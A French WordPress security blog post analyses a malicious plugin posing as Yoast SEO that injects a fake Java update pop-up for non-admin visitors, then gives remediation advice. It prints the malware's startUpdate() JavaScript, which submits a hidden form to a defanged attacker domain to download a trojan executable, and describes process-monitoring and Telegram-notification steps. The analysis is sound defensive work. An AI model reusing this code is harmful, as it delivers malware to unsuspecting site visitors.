vous avez été piraté ? obtenir de l'aide

Alerte : Plugin WordPress Malveillant et Pop-up Java

java update malware

Récemment, j’ai aidé un client qui se plaignait de l’apparition persistante et inquiétante d’une fenêtre contextuelle « Mise à jour Java » sur son site WordPress. Ce type de notification trompeuse est une tactique courante utilisée par les attaquants pour compromettre les visiteurs d’un site web. Mon enquête a révélé la présence d’un plugin malveillant opérant discrètement dans leur environnement WordPress.

Qu’avons-nous découvert ?

Un plugin installé dans le répertoire /wp-content/plugins/contact-form/ se faisait passer pour « Yoast SEO », avec des métadonnées falsifiées pour tromper les propriétaires du site. Cependant, il servait un tout autre objectif.

Le plugin injectait un énorme bloc JavaScript en ligne dans la balise <head> de chaque page, mais uniquement pour les utilisateurs non administrateurs. Ce script simulait une invite de mise à jour Java complète avec visuels, barre de progression et texte localisé. Il incluait également un formulaire caché qui soumettait les données d’interaction des utilisateurs et déclenchait un téléchargement depuis un domaine tiers suspect.

La fenêtre contextuelle n’était pas une notification système légitime ; elle était injectée dans le code du site, soigneusement conçue pour imiter les invites de mise à jour logicielle officielles. L’objectif principal de cette fenêtre contextuelle était de tromper les visiteurs pour qu’ils téléchargent et exécutent un fichier malveillant, généralement un fichier exécutable [Nom-aléatoire].exe.

Où l’infection a-t-elle été trouvée ?

  • Emplacement : /wp-content/plugins/contact-form/
  • Fichier : Le fichier PHP principal du plugin (probablement contact-form.php ou similaire)
  • Vecteur de détection : Une fausse fenêtre modale de mise à jour Java visible pour les visiteurs du site sur le frontend, en particulier sur les appareils Windows.

Analyse du code malveillant

Dissimilation du plugin

Un aspect critique de la conception de ce plugin malveillant était sa tentative de discrétion et de persistance. Une fois activé, le plugin mettait en œuvre un mécanisme pour se cacher de la liste standard des plugins WordPress affichée dans le tableau de bord d’administration. Cela rendait la détection et la suppression beaucoup plus difficiles pour les administrateurs du site.

Tromperie sur le frontend (Fenêtre contextuelle de mise à jour Java)

Le cœur de l’attaque réside dans la présentation d’une fausse fenêtre contextuelle de « mise à jour Java » aux visiteurs du site, principalement ceux qui ne sont pas connectés en tant qu’administrateurs.

Fonctionnalité JavaScript pour la fenêtre contextuelle

Le JavaScript injecté crée et gère la fausse fenêtre contextuelle de mise à jour Java :

La fenêtre contextuelle est appelée au chargement de la page et inclut plusieurs vérifications pour déterminer si elle doit être affichée. L’une des vérifications garantit qu’elle évite de s’afficher sur les appareils mobiles, macOS ou les navigateurs Safari, probablement pour cibler une base d’utilisateurs spécifique (utilisateurs Windows) où l’exécutable malveillant est destiné à s’exécuter.

Téléchargement et exécution malveillants

La partie la plus critique est la fonction startUpdate(), qui initie le téléchargement du fichier malveillant.

window.startUpdate = function() {
    const progressBar = document.querySelector('.progress-bar');
    const progress = document.querySelector('.progress');
    const downloadIndicator = document.querySelector('.download-indicator');
    if (progressBar && progress) {
        progressBar.style.display = 'block';
        downloadIndicator.style.display = 'block';
        progress.style.cssText = 'width: 0% !important';
        let width = 0;
        const interval = setInterval(() => {
            if (width >= 100) {
                clearInterval(interval);
            } else {
                width += 1;
                progress.style.cssText = `width: ${width}% !important;`;
            }
        }, 50);
        const form = document.createElement('form');
        form.method = 'POST';
        form.action = 'hxxps://2sopot[.]pl/dw4.php'; // URL de téléchargement malveillant
        form.style.display = 'none';
        document.body.appendChild(form);
        jQuery.ajax({
            url: window.javaUpdateAjax.ajaxurl,
            type: 'POST',
            data: {
                action: 'notify_download',
                nonce: window.javaUpdateAjax.nonce
            }
        });
        setTimeout(() => {
            form.submit(); // Déclenche le téléchargement
            checkNewProcesses();
        }, 100);
        setTimeout(function() {
            closePopupAndSetCookie();
        }, 50000);
    }
};

L’URL malveillante form.action = 'hxxps://2sopot[.]pl/dw4.php'; à partir de laquelle un fichier [Nom-aléatoire].exe est téléchargé.

Le JavaScript crée un formulaire HTML caché et le soumet, provoquant le téléchargement par le navigateur. Le plugin surveille activement le système de l’utilisateur pour l’exécution du fichier malveillant téléchargé et envoie des notifications à l’attaquant.

Le fichier est détecté comme Hacktool/trojan par 13 fournisseurs de sécurité sur VirusTotal. Au moment de la rédaction de cet article, 13 sites web sont infectés par cette fenêtre contextuelle malveillante.

Gestion des sessions et des cookies

Le plugin utilise des sessions et des cookies pour suivre les interactions des utilisateurs et empêcher les fenêtres contextuelles répétitives.

La fonction java_update_set_cookie() définit un cookie nommé java_update_downloaded pour 30 jours et définit également une variable de session $_SESSION['java_file_downloaded'] sur true. Cela se fait après que le processus de « mise à jour » est initié ou terminé, empêchant la réapparition de la fenêtre contextuelle pour le même utilisateur pendant une période.

Surveillance post-téléchargement et exfiltration

Le plugin surveille activement le système de l’utilisateur pour l’exécution du fichier malveillant téléchargé et envoie des notifications à l’attaquant. Une fonction JavaScript effectue des appels AJAX répétés à l’action serveur check_new_process pour déterminer si un nouveau processus a démarré sur le système de l’utilisateur.

Il exécute la commande tasklist /FO CSV pour obtenir une liste des processus en cours d’exécution et stocke la liste initiale des processus dans la session PHP de l’utilisateur. Lors des appels suivants, il compare la liste actuelle des processus avec la base initiale. S’ils diffèrent, cela signifie qu’un nouveau processus a démarré, et cela déclenche une notification Telegram à l’attaquant.

Le malware recherche spécifiquement l’exécution de processus avec des préfixes prédéfinis, y compris le connu malveillant SSADownloadJava et ScreenConnect.WindowsClient (un outil d’accès à distance légitime souvent abusé par les attaquants).

Il utilise tasklist sur Windows et ps aux sur Linux/macOS pour vérifier ces processus. Si un processus correspondant à l’un des préfixes est trouvé, une notification Telegram est envoyée.

Impact du malware

Ce malware a un impact sévère à la fois sur les visiteurs du site et sur les propriétaires : les visiteurs font face à des risques immédiats de compromission du système, de vol de données et d’enrôlement potentiel dans des botnets après avoir été trompés pour télécharger un logiciel malveillant, tandis que leurs données de navigation personnelles sont également exfiltrées vers les attaquants. Pour les propriétaires de sites, le plugin caché entraîne des dommages réputationnels significatifs, un possible blacklistage par les moteurs de recherche, une perte de trafic et de confiance des utilisateurs, et des coûts considérables associés à la détection et au nettoyage de l’infection furtive.

Conseils de remédiation et de prévention

Pour protéger votre site WordPress contre des malwares sophistiqués comme cette fausse mise à jour Java, concentrez-vous sur ces pratiques clés :

  • Gardez tout à jour : Exécutez toujours les dernières versions de WordPress, des thèmes et des plugins pour corriger les vulnérabilités de sécurité.
  • Utilisez des sources réputées : Téléchargez uniquement des thèmes et des plugins à partir de répertoires officiels ou de développeurs de confiance pour éviter les malwares intégrés.
  • Identifiants forts et 2FA : Utilisez des mots de passe uniques et complexes pour tous les comptes et activez l’authentification à deux facteurs (2FA) chaque fois que possible.
  • Employez un WAF : Un pare-feu d’application web (WAF) bloque le trafic malveillant avant qu’il n’atteigne votre site, agissant comme une première ligne de défense cruciale.
  • Scans réguliers de malware : Scannez régulièrement votre site web pour détecter les malwares et les changements non autorisés afin de détecter les infections tôt.
  • Maintenez des sauvegardes : Conservez des sauvegardes à jour et sécurisées de l’ensemble de votre site pour une récupération rapide en cas d’infection.

Conclusion

La fausse mise à jour Java via un plugin « Contact Form » déguisé met en lumière la nature rusée des menaces cybernétiques modernes. Les attaquants évoluent constamment dans leurs méthodes, utilisant la tromperie et la furtivité pour compromettre les sites web et leurs visiteurs. Avec son faux branding, son camouflage administratif et ses tactiques de social engineering convaincantes, cette infection était clairement conçue pour opérer en arrière-plan et exploiter les utilisateurs finaux sans attirer l’attention.

Si vous constatez des fenêtres contextuelles suspectes, des téléchargements non autorisés ou un comportement de plugin que vous ne reconnaissez pas, n’attendez pas. La détection précoce est essentielle pour arrêter les malwares avant qu’ils ne causent des dommages plus importants.

En tant qu’expert en cybersécurité WordPress, je propose une analyse complète, le nettoyage des malwares, la suppression des backdoors et le renforcement de la sécurité. Mon service de maintenance inclut l’installation d’antivirus, les mises à jour régulières, les sauvegardes et une surveillance 24/7, avec une option d’hébergement Premium en France. Pour optimiser votre visibilité en ligne, je propose également des services d’optimisation SEO technique, de stratégie éditoriale et de création de contenus ciblés. N’hésitez pas à me contacter pour toute assistance ou pour sécuriser votre site WordPress.

Partager l'article :

Nos experts français assurent un support et une prestation de qualité.

Nos autres articles

je demande de l’AIDE

Recevoir un devis
Demander un devis pour réparer un site

inscrivez vous a la newsletter

Nous vous enverrons des informations utiles et de qualité pour apprendre ainsi à mieux protéger votre site.
newsletter pour actualité WorPress

Partager cet article